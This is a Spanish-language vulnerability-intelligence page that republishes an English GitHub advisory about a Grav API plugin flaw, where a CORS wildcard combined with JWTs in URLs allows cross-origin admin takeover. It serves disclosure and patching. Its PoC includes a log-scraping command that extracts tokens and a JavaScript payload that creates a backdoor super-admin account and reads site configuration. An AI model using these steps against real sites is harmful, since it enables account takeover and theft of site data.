llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · getgrav/grav-plugin-api

GHSA-HQM9-5XXW-4QXP

Cross-Origin Admin Account Takeover via CORS Wildcard + JWT Query Parameter Leakage

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión1.0.0-rc.16
Exposición151 dDesde la divulgación, 22 jun 2026, 12:53 p. m.
Detección149 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
22 jun 26
18 nov 26
21 nov 26
22 jun 26
30 jul 26
6 sept 26
14 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-HQM9-5XXW-4QXP divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
An unauthenticated attacker who obtains a single JWT access token - from Apache access logs, proxy logs, Referrer headers, or browser history - can make fully authenticated cross-origin API requests from any malicious website. The API plugin sets `Access-Control-Allow-Origin: *` on every response and `JwtAuthenticator::extractBearerToken()` accepts tokens via the `?token=` URL query parameter. Any JavaScript on any domain can read the full API response and execute arbitrary state-changing operations (create super-admin users, read configuration, delete pages) because the token embedded in the URL bypasses the browser's credential-blocking for `*` origins.

### Details
Two independent code paths in the API plugin intersect to create this vulnerability.

1. Token accepted from URL query string - `JwtAuthenticator.php:198-203`

`user/plugins/api/classes/Api/Auth/JwtAuthenticator.php`:

protected function extractBearerToken(ServerRequestInterface $request): ?string
{
    // Primary: X-API-Token custom header (line 186)
    $custom = trim($request->getHeaderLine('X-API-Token'));
    if ($custom !== '') {
        return str_starts_with($custom, 'Bearer ') ? substr($custom, 7) : $custom;
    }

    // Legacy: Authorization header (line 193)
    $header = $request->getHeaderLine('Authorization');
    if (str_starts_with($header, 'Bearer ')) {
        return substr($header, 7);
    }

    // FALLBACK: query parameter (line 200) — TOKENS IN URLS
    $params = $request->getQueryParams();
    if (!empty($params['token'])) {
        return $params['token'];            // ← line 202
    }

    return null;
}

The comment at line 198 says this is "for direct links (e.g. file downloads where a browser `<a download>` tag can't attach a header)." However, the implementation accepts `?token=` on every API route - not just media downloads. This means `GET /api/v1/me?token=<JWT>`, `POST /api/v1/users?token=<JWT>`, and `DELETE /api/v1/pages/home?token=<JWT>` are all authenticated. The token appears verbatim in:

  • Apache access logs: `GET /grav/api/v1/me?token=eyJ0eXAiOi... HTTP/1.1 200`
  • The `Referer` header whenever the browser navigates away from a token-bearing URL
  • Browser history entries
  • Upstream proxy and CDN logs

2. CORS wildcard on every response

Every API response carries:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PATCH, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key, X-API-Token, ...

The `*` wildcard instructs all browsers that any JavaScript origin may read the response. The Fetch standard normally blocks credentials (`Authorization` headers, cookies) with `*`, but the `?token=` parameter is part of the URL - not a credential-bearing header - so the browser sends it unconditionally. The token travels with the cross-origin request and the browser permits JavaScript to read the response because the server said `*`.

Intersection: `fetch("http://127.0.0.1/grav/api/v1/me?token=" + stolenToken)` issued from `evil.com` succeeds because: (a) the token is in the URL, bypassing credential-header restrictions, and (b) `Access-Control-Allow-Origin: *` allows reading the response.

### PoC
Prerequisites: a valid JWT access token (obtainable from any of: `tail /var/log/apache2/access.log | grep "token="`, proxy logs, browser history, or Referrer header leakage—these are HTTP connections with no TLS on localhost).

1. Capture a token from Apache access log:

tail /var/log/apache2/access.log | grep -oP 'token=\K[^&\s]+' | tail -1

2. Verify token works via query parameter:

TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
curl -s "http://127.0.0.1/grav/api/v1/me?token=${TOKEN}" | jq .
# Returns admin profile with super_admin: true

3. Verify CORS permits cross-origin reads:

curl -sI -H "Origin: http://evil.com" \
  "http://127.0.0.1/grav/api/v1/users?token=${TOKEN}" | grep Access-Control
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Methods: GET, POST, PATCH, DELETE, OPTIONS

4. Deploy this HTML on any attacker-controlled domain and open it in a browser:

<script>
const T = "http://127.0.0.1/grav/api/v1";
const K = prompt("Token:");

// Read admin profile
fetch(`${T}/me?token=${K}`).then(r=>r.json()).then(d=>console.log(d));

// Create persistent backdoor super-admin
fetch(`${T}/users?token=${K}`, {
  method: "POST",
  headers: {"Content-Type":"application/json"},
  body: JSON.stringify({
    username:"sys", password:"Pwned2024!",
    email:"root@evil.com", state:"enabled",
    access:{api:{super:true}}
  })
}).then(r=>r.json());

// Read full system config
fetch(`${T}/config/system?token=${K}`).then(r=>r.json()).then(d=>console.log(d));

// Enumerate all pages
fetch(`${T}/pages?token=${K}`).then(r=>r.json()).then(d=>console.log(d.data.length));
</script>

All four requests succeed cross-origin from any domain. The attacker now has a backdoor account with full super-admin privileges that survives token rotation and password changes.

### Impact
Cross-origin authenticated API access enabling complete administrative takeover. The attack requires no server compromise—only that the attacker obtains a single JWT access token, which leaks through standard infrastructure (Apache access logs, proxy/CDN logs, browser history, Referrer headers) because the token is embedded in the URL query string of every authenticated API request. Once executed, the attacker creates a persistent backdoor super-admin account and exfiltrates all site configuration, user data, and page content.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav-plugin-api< 1.0.0-rc.16
1.0.0-rc.16
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav-plugin-api
Corregida 1.0.0-rc.16 — —
Versiones corregidas1.0.0-rc.16
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getgrav/grav/security/advisories/GHSA-hqm9-5xxw-4qxp

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.